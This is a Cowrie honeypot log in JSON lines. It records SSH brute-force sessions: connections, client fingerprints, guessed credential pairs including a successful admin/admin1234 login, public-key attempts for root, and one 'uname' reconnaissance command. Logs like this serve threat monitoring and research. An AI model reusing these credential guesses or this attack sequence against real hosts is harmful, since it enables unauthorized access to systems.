{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54778,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81e28bf0635","protocol":"ssh","message":"New connection: 192.109.200.237:54778 (159.203.135.109:22) [session: a81e28bf0635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:21.534620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:21.539661Z","src_ip":"192.109.200.237","session":"a81e28bf0635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:21.626210Z","src_ip":"192.109.200.237","session":"a81e28bf0635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:21.874724Z","src_ip":"192.109.200.237","session":"a81e28bf0635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:22.959891Z","src_ip":"192.109.200.237","session":"a81e28bf0635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54804,"dst_ip":"159.203.135.109","dst_port":22,"session":"7004ebab835c","protocol":"ssh","message":"New connection: 192.109.200.237:54804 (159.203.135.109:22) [session: 7004ebab835c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:24.758607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:24.763578Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:24.846345Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:25.209414Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:25.473267Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:25.476694Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:25.563636Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:25.569945Z","src_ip":"192.109.200.237","session":"7004ebab835c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90bdb1feb35","protocol":"ssh","message":"New connection: 103.75.183.219:56954 (159.203.135.109:22) [session: f90bdb1feb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:33.495629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:33.500108Z","src_ip":"103.75.183.219","session":"f90bdb1feb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:33.740432Z","src_ip":"103.75.183.219","session":"f90bdb1feb35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321123","message":"login attempt [root/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:34.464468Z","src_ip":"103.75.183.219","session":"f90bdb1feb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:35.708276Z","src_ip":"103.75.183.219","session":"f90bdb1feb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.78.61","src_port":55830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e329a82365","protocol":"ssh","message":"New connection: 184.154.78.61:55830 (10.17.0.5:22) [session: b3e329a82365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:42.942852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:42.952412Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:42.978348Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:a7:31:8d:35:18:a7:b1:1d:6d:a6:45:a2:ce:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ujHm4ccwpDvdK9Xp8rrmuKRyb8avbG/VuaHRfZFZ/2RQi++dkZLEfImejLGdYCCwi3QQN5u5tLWYTELIPQgAec8V3/R68UZSOTyPUVVnU3mhAa51DU4Ckwb+D5dUepOyftm+dWZv8DrYxx8lBFVG85oZa936HOZOgpv2yU+HFy/zmnEUqI4pe6iUjUsh/RrYJffLJZpFNMBlvKJwCkbcm50t4o96qKR28Sb4D4hYKrENoFsTBQyAtup/t8Z8drU5YFfZSl+X6mrZfm5Hf6jyTAB7KwdxU5H5hrSanhxOSwY4jm2rIqnCL+DtbBr4+s+T69ZB5M4w7Q4uiKU6xKDL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:a7:31:8d:35:18:a7:b1:1d:6d:a6:45:a2:ce:1f:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.088331Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:a7:31:8d:35:18:a7:b1:1d:6d:a6:45:a2:ce:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ujHm4ccwpDvdK9Xp8rrmuKRyb8avbG/VuaHRfZFZ/2RQi++dkZLEfImejLGdYCCwi3QQN5u5tLWYTELIPQgAec8V3/R68UZSOTyPUVVnU3mhAa51DU4Ckwb+D5dUepOyftm+dWZv8DrYxx8lBFVG85oZa936HOZOgpv2yU+HFy/zmnEUqI4pe6iUjUsh/RrYJffLJZpFNMBlvKJwCkbcm50t4o96qKR28Sb4D4hYKrENoFsTBQyAtup/t8Z8drU5YFfZSl+X6mrZfm5Hf6jyTAB7KwdxU5H5hrSanhxOSwY4jm2rIqnCL+DtbBr4+s+T69ZB5M4w7Q4uiKU6xKDL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.092094Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:49:ce:4c:6a:c9:69:ff:08:b4:97:c6:06:e4:64:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl9MWslULKRYLy1BnuTypwNjuUz/mpEY5HYgT8ehfsa4h5l4Q6JiI8N4pyzVi/FgkwveGNnsfq2OPZPr1I2gIKFR/Xy7yJy8RtGP59mlBxHh5v+J+3uVC5AjyZjF8zsR1StSQ7Ch+3BP1KJVKMSmI83K9iWgLn+RDecRhnymwLUbiPuOMFcNpAbtBWOm4jhBdNkz0bv1DIbJPOuIj/CClfsxpdPJzBOlN00fJitF6FEhUTscG2R3AcVhxyThPxTeF7trOyWQ3JWHzR9mAjq2izYPr1EMjwP2oddynF8hlPbVRSF/YE7cSgKiTw6OXLcsWl9PVz/jsjF/m4x0/LnT2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:49:ce:4c:6a:c9:69:ff:08:b4:97:c6:06:e4:64:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.119051Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:49:ce:4c:6a:c9:69:ff:08:b4:97:c6:06:e4:64:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl9MWslULKRYLy1BnuTypwNjuUz/mpEY5HYgT8ehfsa4h5l4Q6JiI8N4pyzVi/FgkwveGNnsfq2OPZPr1I2gIKFR/Xy7yJy8RtGP59mlBxHh5v+J+3uVC5AjyZjF8zsR1StSQ7Ch+3BP1KJVKMSmI83K9iWgLn+RDecRhnymwLUbiPuOMFcNpAbtBWOm4jhBdNkz0bv1DIbJPOuIj/CClfsxpdPJzBOlN00fJitF6FEhUTscG2R3AcVhxyThPxTeF7trOyWQ3JWHzR9mAjq2izYPr1EMjwP2oddynF8hlPbVRSF/YE7cSgKiTw6OXLcsWl9PVz/jsjF/m4x0/LnT2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.122714Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:d8:95:a4:87:d2:af:ec:bc:f9:d0:44:49:6c:76:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnif3Fj0ePQj3jR6xhvxHSDm2WSxwhRWxtgMMY3lVJzzhB7xLTBQaToZp8zDANo4NPk/Ao+Jyk+jJCcUVOuw3KuUagaYTnVc8J7w/8ZI80OQJOykodk5zuzGE2nR26TYzhDw4J/yavb/B5f0mUAR7l52tw09N06lChPtXSJNf2L2FxW0SBVxUMmoyqiBUIHlcxjoJggLYRrYEZYm+ceKZC+IfUQARwnVYPuSNoyrYwcBgL4n+5GvGQHf95ERNFYduvS1BtvnXke4vv9b/ZLyXxUSseYajKtI9IV0ZDberPBZPKw95a4AeUcIf7wVW/XquY+DUMfeFByVw/3ZkzufsGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:d8:95:a4:87:d2:af:ec:bc:f9:d0:44:49:6c:76:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.150373Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:d8:95:a4:87:d2:af:ec:bc:f9:d0:44:49:6c:76:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnif3Fj0ePQj3jR6xhvxHSDm2WSxwhRWxtgMMY3lVJzzhB7xLTBQaToZp8zDANo4NPk/Ao+Jyk+jJCcUVOuw3KuUagaYTnVc8J7w/8ZI80OQJOykodk5zuzGE2nR26TYzhDw4J/yavb/B5f0mUAR7l52tw09N06lChPtXSJNf2L2FxW0SBVxUMmoyqiBUIHlcxjoJggLYRrYEZYm+ceKZC+IfUQARwnVYPuSNoyrYwcBgL4n+5GvGQHf95ERNFYduvS1BtvnXke4vv9b/ZLyXxUSseYajKtI9IV0ZDberPBZPKw95a4AeUcIf7wVW/XquY+DUMfeFByVw/3ZkzufsGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.155543Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:b9:9a:dc:51:c3:87:cd:c4:59:ba:5a:23:0f:7c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/IdqZuzeM518varz6to/31hCV6t3i7gMEjSHIb7vKhrOizMLvul2atvL9b3PXS0RiitaIEceGh9kqC0QmJfg+TI3Sv/ZseD+TxjMof1LIOss+HNFg/PZwOZEOB4LaplFHqNqOn770QfFh0tsgHe022meY2OX74WveGgBiTHRlgKMsgxRfb3vzsPG3TxmjqdJ4RpkR+iHopDgJF+1bSmibFTX/drOc7VoSEzew7FFnN6DYTAq7V4y8ebUdWAK6W1MVIJ5cAvLXPtCFosjBT94yyiar/xlpgG40+Ho7pUM4jkVsOBq/ZfGwjhQSxipoYTdH4dHED75ZtG02xxJnKqLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:b9:9a:dc:51:c3:87:cd:c4:59:ba:5a:23:0f:7c:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.184910Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:b9:9a:dc:51:c3:87:cd:c4:59:ba:5a:23:0f:7c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/IdqZuzeM518varz6to/31hCV6t3i7gMEjSHIb7vKhrOizMLvul2atvL9b3PXS0RiitaIEceGh9kqC0QmJfg+TI3Sv/ZseD+TxjMof1LIOss+HNFg/PZwOZEOB4LaplFHqNqOn770QfFh0tsgHe022meY2OX74WveGgBiTHRlgKMsgxRfb3vzsPG3TxmjqdJ4RpkR+iHopDgJF+1bSmibFTX/drOc7VoSEzew7FFnN6DYTAq7V4y8ebUdWAK6W1MVIJ5cAvLXPtCFosjBT94yyiar/xlpgG40+Ho7pUM4jkVsOBq/ZfGwjhQSxipoYTdH4dHED75ZtG02xxJnKqLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.188726Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:0b:ea:0f:ff:65:87:f8:fd:8b:74:64:8a:b2:78:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp4VSfBPqSQsc31R8UCzzqJuB17ZMSt7UUglyRyZKkDST/3NxZ6410ebYqbJ2qklKovzHJS6NCX4u3QjDVjV4HrTV9UVphqgnkkmJNbKP5I46QVVqfDx3mV7Ox4+epyZJW89Fax/eM0Q7miQLDhdchWgHdk6jYhu0ktqCXVy+/RI/JGg3tTFJrVPjXz+abMHwTCpb0ExbzffSnnGdYuBLMcx+VDcIIVikCy0L3BuklulmY5W+SEPcIXozDdjx6VuyyzswnweoXduC5M/u/UqUqHzEgxHI1l5L8z9nYsUqjPJHWdPaD+bLPd6Kf6Ahs3grRFrVqea/KNAC5Ud84L9BeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:0b:ea:0f:ff:65:87:f8:fd:8b:74:64:8a:b2:78:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.215688Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:0b:ea:0f:ff:65:87:f8:fd:8b:74:64:8a:b2:78:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp4VSfBPqSQsc31R8UCzzqJuB17ZMSt7UUglyRyZKkDST/3NxZ6410ebYqbJ2qklKovzHJS6NCX4u3QjDVjV4HrTV9UVphqgnkkmJNbKP5I46QVVqfDx3mV7Ox4+epyZJW89Fax/eM0Q7miQLDhdchWgHdk6jYhu0ktqCXVy+/RI/JGg3tTFJrVPjXz+abMHwTCpb0ExbzffSnnGdYuBLMcx+VDcIIVikCy0L3BuklulmY5W+SEPcIXozDdjx6VuyyzswnweoXduC5M/u/UqUqHzEgxHI1l5L8z9nYsUqjPJHWdPaD+bLPd6Kf6Ahs3grRFrVqea/KNAC5Ud84L9BeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.219862Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:43.247868Z","src_ip":"184.154.78.61","session":"b3e329a82365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.73497009277344,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:04.593500Z","src_ip":"192.119.13.58","session":"1adacdfe46e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":23860,"dst_ip":"159.203.135.109","dst_port":22,"session":"90728600794b","protocol":"ssh","message":"New connection: 64.89.160.207:23860 (159.203.135.109:22) [session: 90728600794b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.120096Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.125644Z","src_ip":"64.89.160.207","session":"90728600794b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":23876,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a72b88210b","protocol":"ssh","message":"New connection: 64.89.160.207:23876 (159.203.135.109:22) [session: 83a72b88210b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.252031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.257394Z","src_ip":"64.89.160.207","session":"83a72b88210b","protocol":"ssh"}
